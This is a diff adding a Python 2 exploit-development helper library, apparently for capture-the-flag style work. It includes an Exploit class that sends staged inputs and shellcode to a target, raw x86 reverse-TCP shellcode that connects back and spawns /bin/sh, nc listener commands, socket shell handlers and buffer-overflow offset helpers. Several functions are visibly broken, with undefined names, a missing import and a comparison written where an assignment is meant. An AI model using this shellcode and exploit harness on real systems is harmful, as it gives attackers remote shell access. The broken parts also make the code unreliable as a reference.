|
| 1 | +import re |
| 2 | +import socket |
| 3 | +import time |
| 4 | +import sys |
| 5 | +import telnetlib |
| 6 | +import select |
| 7 | +import string |
| 8 | + |
| 9 | +from subprocess import check_output |
| 10 | +from struct import pack,unpack |
| 11 | +from string import ascii_lowercase as ALPHABET |
| 12 | + |
| 13 | + |
| 14 | +class Exploit(): |
| 15 | + def __init__(self, ip_addr, port, exploit_type): |
| 16 | + self.ip = ip_addr |
| 17 | + self.port = port |
| 18 | + self.type = exploit_type |
| 19 | + |
| 20 | + self.connectback = None |
| 21 | + self.bind = None |
| 22 | + |
| 23 | + self.stage = [] # list of input to send to get to arbitrary execution |
| 24 | + self.shellcode = None |
| 25 | + |
| 26 | + def connect_back(self, ip_addr, port): |
| 27 | + self.connectback = (ip_addr, port) |
| 28 | + |
| 29 | + def bind_shell(self, port): |
| 30 | + self.bind = port |
| 31 | + |
| 32 | + def prepare(self, input): |
| 33 | + self.stage.append(input) |
| 34 | + |
| 35 | + def generate(self, arch='x86'): |
| 36 | + if self.type == 'connectback': |
| 37 | + if self.connectback == None: |
| 38 | + raise RuntimeError("You haven't set parameters for the connect back") |
| 39 | + self.shellcode = reverse_tcp(self.connectback[0], self.connectback[1], arch) |
| 40 | + elif self.type == 'bind': |
| 41 | + if self.bind == None: |
| 42 | + raise RuntimeError("You haven't set parameters for the bind shell") |
| 43 | + self.shellcode = bind_shell(self.bind, arch) # needs implementation |
| 44 | + |
| 45 | + def display(self): |
| 46 | + for x in self.stage: |
| 47 | + sys.stdout.write(x) |
| 48 | + sys.stdout.write(repr(self.shellcode)[1:-1]) |
| 49 | + |
| 50 | + def throw(self): # needs implementation |
| 51 | + connect = get_socket((self.ip, self.port)) |
| 52 | + for send in self.stage: |
| 53 | + connect.send(send) |
| 54 | + time.sleep(.5) |
| 55 | + print sock.recv(0x10000) |
| 56 | + connect.send(self.shellcode) |
| 57 | + |
| 58 | + |
| 59 | +def bind_shell(port, arch='x86'): |
| 60 | + ''' |
| 61 | + Generate x86 bind shell shellcode (You connnect to the shell) |
| 62 | + |
| 63 | + Usage: |
| 64 | + reverse_tcp(ip_addr, port) |
| 65 | + ip_addr = connect back IP address as string |
| 66 | + port = connect back port as int |
| 67 | +
|
| 68 | + A command you could use to setup a connection on your system is 'nc 127.0.0.1 7788' |
| 69 | + With 127.0.0.1 replaced with the ip of the target box. |
| 70 | + ''' |
| 71 | + |
| 72 | + if arch.lower() == 'x86': |
| 73 | + port = pack('>H', port) |
| 74 | + BIND_SHELL = BIND_SHELL_X86 |
| 75 | + pass |
| 76 | + |
| 77 | +def reverse_tcp(ip_addr, port, arch='x86'): |
| 78 | + ''' |
| 79 | + Generate x86 reverse tcp shellcode (The shell connects to you) |
| 80 | + |
| 81 | + Usage: |
| 82 | + reverse_tcp(ip_addr, port) |
| 83 | + ip_addr = connect back IP address as string |
| 84 | + port = connect back port as int |
| 85 | +
|
| 86 | + A command you could use to setup a listener on your system is 'nc -vl 7788' |
| 87 | + ''' |
| 88 | + |
| 89 | + if arch.lower() == 'x86': |
| 90 | + ip = ''.join([chr(int(x)) for x in ip_addr.split('.')]) |
| 91 | + port = pack('>H', port) |
| 92 | + |
| 93 | + REVERSE_TCP_X86 = ( |
| 94 | + '\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\x43\xb0\x66\x89\xe1\xcd\x80\x89\xc6' |
| 95 | + '\x31\xc0\xb0\x66\x43\x68' + ip + '\x66\x68' + port + '\x66\x53\x89\xe1' |
| 96 | + '\x6a\x10\x51\x56\x43\x89\xe1\xcd\x80\x89\xc7\x31\xc9\x89\xc8\x89\xca\xb1' |
| 97 | + '\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f' |
| 98 | + '\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xc9\x89\xca\xcd\x80' |
| 99 | + ) |
| 100 | + |
| 101 | + REVERSE_TCP = REVERSE_TCP_X86 |
| 102 | + |
| 103 | + elif arch.lower() == 'x64': |
| 104 | + REVERSE_TCP = REVERSE_TCP_X64 # need implementation |
| 105 | + |
| 106 | + elif arch.lower() == 'arm': |
| 107 | + REVERSE_TCP == REVERSE_TCP_ARM # need implementation |
| 108 | + |
| 109 | + elif arch.lower() == 'mips': |
| 110 | + REVERSE_TCP = REVERSE_TCP_MIPS # need implementation |
| 111 | + |
| 112 | + banned = ('\x00', '\x0a', '\x0d') |
| 113 | + for x in banned: |
| 114 | + if x in REVERSE_TCP_X86: |
| 115 | + print 'This shellcode may not work because of {} at index {}'.format(repr(x), REVERSE_TCP.index(x)) |
| 116 | + |
| 117 | + return REVERSE_TCP_X86 |
| 118 | + |
| 119 | +def is_ipv6(ip): |
| 120 | + return ':' in ip |
| 121 | + |
| 122 | +def get_socket(chal): |
| 123 | + '''chal is a 2-tuple with an address and a port ex: ('127.0.0.1',111)''' |
| 124 | + #is ipv6? |
| 125 | + ip, port = chal |
| 126 | + if is_ipv6(ip): |
| 127 | + s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0) |
| 128 | + s.settimeout(5) |
| 129 | + s.connect((ip, port, 0, 0)) |
| 130 | + else:#ipv4 |
| 131 | + s = socket.socket() |
| 132 | + s.settimeout(5) |
| 133 | + s.connect(chal) |
| 134 | + return s |
| 135 | + |
| 136 | + |
| 137 | +def shell(sock): |
| 138 | + ''' |
| 139 | + pass to this function a socket object with a |
| 140 | + listening shell(socket reuse) |
| 141 | + ''' |
| 142 | + command = '' |
| 143 | + prompt = '$ ' |
| 144 | + |
| 145 | + while command != 'exit\n': |
| 146 | + r,w,x = select.select([sock,sys.stdin], [sock], []) |
| 147 | + if r: |
| 148 | + for reading in r: |
| 149 | + if reading == sock: |
| 150 | + print reading.recv(0x10000) |
| 151 | + if reading == sys.stdin: |
| 152 | + command = reading.readline() |
| 153 | + sock.send(command) |
| 154 | + return |
| 155 | + |
| 156 | + |
| 157 | +def lei(*nums): |
| 158 | + ''' |
| 159 | + wrapper for struct.pack("I/i"), will identify signdness and |
| 160 | + takes a variable number of arguments |
| 161 | + ''' |
| 162 | + if len(nums) == 1: |
| 163 | + num = nums[0] |
| 164 | + if num > 0: |
| 165 | + return pack("<I", num) # little-endian, unsigned int |
| 166 | + else: |
| 167 | + return pack("<i", num) # little-endian int |
| 168 | + else: |
| 169 | + return ''.join(map(lei, nums)) |
| 170 | + |
| 171 | + |
| 172 | +def lei64(*nums): |
| 173 | + ''' |
| 174 | + wrapper for struct.pack("Q/q"), will identify signdness and |
| 175 | + takes a variable number of arguments |
| 176 | + ''' |
| 177 | + if len(nums) == 1: |
| 178 | + num = nums[0] |
| 179 | + if num > 0 : |
| 180 | + return pack("<Q", num) # little-endian, unsigned int |
| 181 | + else: |
| 182 | + return pack("<q", num) # little-endian int |
| 183 | + else: |
| 184 | + return ''.join(map(lei64, nums)) |
| 185 | + |
| 186 | +def ulei(nums): |
| 187 | + '''unpacks arbitray amount of 32bit packed values returns list''' |
| 188 | + lis, unList = [], [] |
| 189 | + for i in chunk(nums, 4): |
| 190 | + #right justified due to bit read order adjust as necessary |
| 191 | + i = i.rjust(4, '0') |
| 192 | + unList.append(i) |
| 193 | + while len(unList) != 0: |
| 194 | + struc = unpack("<I", unList[0]) |
| 195 | + lis.append(struc[0]) |
| 196 | + del unList[0] |
| 197 | + return lis |
| 198 | + |
| 199 | +def ulei64(nums): |
| 200 | + '''unpack arbitrary amount of 64 bit packed values''' |
| 201 | + lis,unList = [], [] |
| 202 | + for i in chunk(nums, 8): |
| 203 | + #Right justified due to bit read order adjust as necessary |
| 204 | + i = i.rjust(8, '0') |
| 205 | + unList.append(i) |
| 206 | + while len(unList) != 0: |
| 207 | + struc = unpack("<Q", unList[0]) |
| 208 | + lis.append(struc[0]) |
| 209 | + del unList[0] |
| 210 | + return lis |
| 211 | + |
| 212 | +def chunk(iterable, chunk_size): |
| 213 | + '''Divide iterable into chunks of chunk_size''' |
| 214 | + for i in range(0, len(iterable), chunk_size): |
| 215 | + yield iterable[i:i+chunk_size] |
| 216 | + |
| 217 | + |
| 218 | +def gen_pattern_string(): |
| 219 | + '''Generator for pattern strings''' |
| 220 | + for x in ALPHABET: |
| 221 | + for y in ALPHABET: |
| 222 | + for z in range(10): |
| 223 | + yield ''.join([x.upper(), y, str(z)]) |
| 224 | + |
| 225 | +MAX_PAT = ''.join(gen_pattern_string()) |
| 226 | + |
| 227 | +def pattern_create(n): |
| 228 | + return MAX_PAT[:n] |
| 229 | + |
| 230 | +def pattern_offset(offset): |
| 231 | + ''' |
| 232 | + Search for offset in pattern string. |
| 233 | + Will accept an int of the form 0x12345678 or a |
| 234 | + string that looks like '12345678' |
| 235 | + ''' |
| 236 | + if type(offset) == int: |
| 237 | + offset = '{0:x}'.format(offset) # basically convert integer to hex "%x" |
| 238 | + item = reversed(list(chunk(offset,2))) |
| 239 | + item = "".join(item).decode('hex') |
| 240 | + return MAX_PAT.index(item) |
| 241 | + |
| 242 | +def bruteforce(charset, maxlength): |
| 243 | + return (''.join(candidate) |
| 244 | + for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) |
| 245 | + for i in range(1, maxlength + 1))) |
| 246 | + |
| 247 | +def telnet_shell(sock): |
| 248 | + '''pass to this function a socket object with a listening shell(socket reuse)''' |
| 249 | + tc = telnetlib.Telnet() |
| 250 | + tc.sock = sock |
| 251 | + tc.interact() |
| 252 | + return |
| 253 | + |
| 254 | +def recv_until(s, data): |
| 255 | + '''receive data from s until string data is found s(socket, "string")''' |
| 256 | + p = "" |
| 257 | + while data not in p: |
| 258 | + p += s.recv(0x1) |
| 259 | + return p |
| 260 | + |
| 261 | +def hd(s,n,le=True): |
| 262 | + """print out a hex dump of the string s in n byte chunks little-endian by default""" |
| 263 | + elems = chunk(s,n) |
| 264 | + fmt_mapping = {1:'B', 2:'H', 4:'I', 8:'Q'} |
| 265 | + |
| 266 | + fmt = ('<' if le else '>') + fmt_mapping[n] |
| 267 | + |
| 268 | + elems = map(lambda a:unpack(fmt,'\0'*(n-len(a))+a)[0],elems) |
| 269 | + |
| 270 | + addr = 0 |
| 271 | + |
| 272 | + for line in chunk(elems,0x10/n): |
| 273 | + #addr, [elems..] |
| 274 | + fmt_str = '{:#08x}:' + (' {{:#0{pad}x}}'.format(pad=(n*2+2)))*len(line) |
| 275 | + print fmt_str.format(addr,*line) |
| 276 | + addr += 0x10 |
| 277 | + |
| 278 | +def hold_debugger(program_name=None): |
| 279 | + '''Holds the debugger until c is pressed; optional arg to print the pid of that process''' |
| 280 | + if(program_name): |
| 281 | + print program_name+" pid:"+str(map(int,check_output(["pgrep",program_name]).split())[-1]) |
| 282 | + |
| 283 | + print "Attach Debugger..." |
| 284 | + while(raw_input() != 'c'): |
| 285 | + pass |
| 286 | + |
| 287 | +if __name__ == '__main__': |
| 288 | + import code |
| 289 | + code.interact(local=locals()) |
| 290 | + |
| 291 | + |
0 commit comments